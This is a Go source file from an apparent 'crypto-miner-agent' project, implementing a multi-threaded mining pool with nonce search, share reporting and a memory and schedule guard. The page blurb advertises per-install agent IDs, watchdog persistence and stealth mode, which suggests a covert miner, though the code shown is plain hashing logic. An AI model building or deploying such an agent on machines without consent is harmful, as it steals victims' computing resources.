Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
219 lines
4.2 KiB
Go
219 lines
4.2 KiB
Go
package miner
|
|
|
|
import (
|
|
"encoding/hex"
|
|
"log"
|
|
"math/big"
|
|
"sync"
|
|
"sync/atomic"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
"crypto-miner-agent/job"
|
|
"crypto-miner-agent/stats"
|
|
)
|
|
|
|
type ShareHandler func(jobID, nonce, hash string)
|
|
|
|
type Pool struct {
|
|
threads int
|
|
cfg config.RuntimeConfig
|
|
reporter *stats.Reporter
|
|
engines []*Engine
|
|
handler ShareHandler
|
|
schedule *ScheduleGuard
|
|
|
|
mu sync.RWMutex
|
|
currentJob *job.Job
|
|
stopCh chan struct{}
|
|
wg sync.WaitGroup
|
|
paused atomic.Bool
|
|
|
|
hashesTotal atomic.Uint64
|
|
sharesFound atomic.Uint64
|
|
}
|
|
|
|
func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, handler ShareHandler) *Pool {
|
|
if threads <= 0 {
|
|
threads = 1
|
|
}
|
|
engines := make([]*Engine, threads)
|
|
for i := range engines {
|
|
engines[i] = NewEngine()
|
|
}
|
|
return &Pool{
|
|
threads: threads,
|
|
cfg: cfg,
|
|
reporter: reporter,
|
|
engines: engines,
|
|
handler: handler,
|
|
schedule: NewScheduleGuard(cfg, reporter),
|
|
stopCh: make(chan struct{}),
|
|
}
|
|
}
|
|
|
|
func (p *Pool) SetJob(job *job.Job) {
|
|
p.mu.Lock()
|
|
defer p.mu.Unlock()
|
|
p.currentJob = job
|
|
if job == nil {
|
|
return
|
|
}
|
|
seed := job.SeedHash
|
|
if seed == "" && len(job.Blob) >= 64 {
|
|
seed = job.Blob[:64]
|
|
}
|
|
for _, engine := range p.engines {
|
|
if err := engine.SetJob(seed, job.Blob); err != nil {
|
|
log.Printf("[miner] failed to set job: %v", err)
|
|
}
|
|
}
|
|
}
|
|
|
|
func (p *Pool) Start() {
|
|
for i := 0; i < p.threads; i++ {
|
|
p.wg.Add(1)
|
|
go p.worker(i, p.engines[i])
|
|
}
|
|
go p.resourceGuard()
|
|
}
|
|
|
|
func (p *Pool) Stop() {
|
|
close(p.stopCh)
|
|
p.wg.Wait()
|
|
}
|
|
|
|
func (p *Pool) HashesPerSecond() float64 {
|
|
return float64(p.hashesTotal.Load())
|
|
}
|
|
|
|
func (p *Pool) ResetHashCounter() {
|
|
p.hashesTotal.Store(0)
|
|
}
|
|
|
|
func (p *Pool) resourceGuard() {
|
|
ticker := time.NewTicker(5 * time.Second)
|
|
defer ticker.Stop()
|
|
for {
|
|
select {
|
|
case <-p.stopCh:
|
|
return
|
|
case <-ticker.C:
|
|
p.paused.Store(!p.miningAllowed())
|
|
}
|
|
}
|
|
}
|
|
|
|
func (p *Pool) miningAllowed() bool {
|
|
if !p.resourcesOK() {
|
|
return false
|
|
}
|
|
if p.schedule != nil && !p.schedule.Allowed() {
|
|
return false
|
|
}
|
|
return true
|
|
}
|
|
|
|
func (p *Pool) resourcesOK() bool {
|
|
freeMB := p.reporter.FreeMemoryMB()
|
|
if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) {
|
|
return false
|
|
}
|
|
totalMB := p.reporter.TotalMemoryMB()
|
|
if totalMB > 0 && p.cfg.MaxMemoryPct > 0 {
|
|
usedPct := float64(totalMB-freeMB) / float64(totalMB) * 100
|
|
if usedPct > float64(p.cfg.MaxMemoryPct) {
|
|
return false
|
|
}
|
|
}
|
|
return true
|
|
}
|
|
|
|
func (p *Pool) worker(id int, engine *Engine) {
|
|
defer p.wg.Done()
|
|
|
|
var nonce uint32 = uint32(id * 1000000)
|
|
|
|
for {
|
|
select {
|
|
case <-p.stopCh:
|
|
return
|
|
default:
|
|
}
|
|
|
|
if p.paused.Load() {
|
|
time.Sleep(2 * time.Second)
|
|
continue
|
|
}
|
|
|
|
p.mu.RLock()
|
|
job := p.currentJob
|
|
p.mu.RUnlock()
|
|
if job == nil || job.Blob == "" {
|
|
time.Sleep(500 * time.Millisecond)
|
|
continue
|
|
}
|
|
|
|
for batch := 0; batch < 256; batch++ {
|
|
select {
|
|
case <-p.stopCh:
|
|
return
|
|
default:
|
|
}
|
|
if p.paused.Load() {
|
|
break
|
|
}
|
|
|
|
hashHex, _, err := engine.HashAtNonce(nonce)
|
|
if err != nil {
|
|
log.Printf("[miner] hash error: %v", err)
|
|
break
|
|
}
|
|
p.hashesTotal.Add(1)
|
|
nonce++
|
|
|
|
target := job.Target
|
|
if target == "" && job.Difficulty > 0 {
|
|
target = difficultyToTargetHex(job.Difficulty)
|
|
}
|
|
if target != "" && hashMeetsTarget(hashHex, target) {
|
|
p.sharesFound.Add(1)
|
|
if p.handler != nil {
|
|
p.handler(job.ID, uint32ToHex(nonce-1), hashHex)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func uint32ToHex(n uint32) string {
|
|
b := []byte{byte(n), byte(n >> 8), byte(n >> 16), byte(n >> 24)}
|
|
return hexEncode(b)
|
|
}
|
|
|
|
func hexEncode(b []byte) string {
|
|
const hexdigits = "0123456789abcdef"
|
|
out := make([]byte, len(b)*2)
|
|
for i, v := range b {
|
|
out[i*2] = hexdigits[v>>4]
|
|
out[i*2+1] = hexdigits[v&0x0f]
|
|
}
|
|
return string(out)
|
|
}
|
|
|
|
func difficultyToTargetHex(difficulty int64) string {
|
|
if difficulty <= 0 {
|
|
return ""
|
|
}
|
|
maxTarget := new(big.Int)
|
|
maxTarget.SetString("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", 16)
|
|
target := new(big.Int).Div(maxTarget, big.NewInt(difficulty))
|
|
bytes := target.Bytes()
|
|
padded := make([]byte, 32)
|
|
copy(padded[32-len(bytes):], bytes)
|
|
for i, j := 0, len(padded)-1; i < j; i, j = i+1, j-1 {
|
|
padded[i], padded[j] = padded[j], padded[i]
|
|
}
|
|
return hex.EncodeToString(padded)
|
|
}
|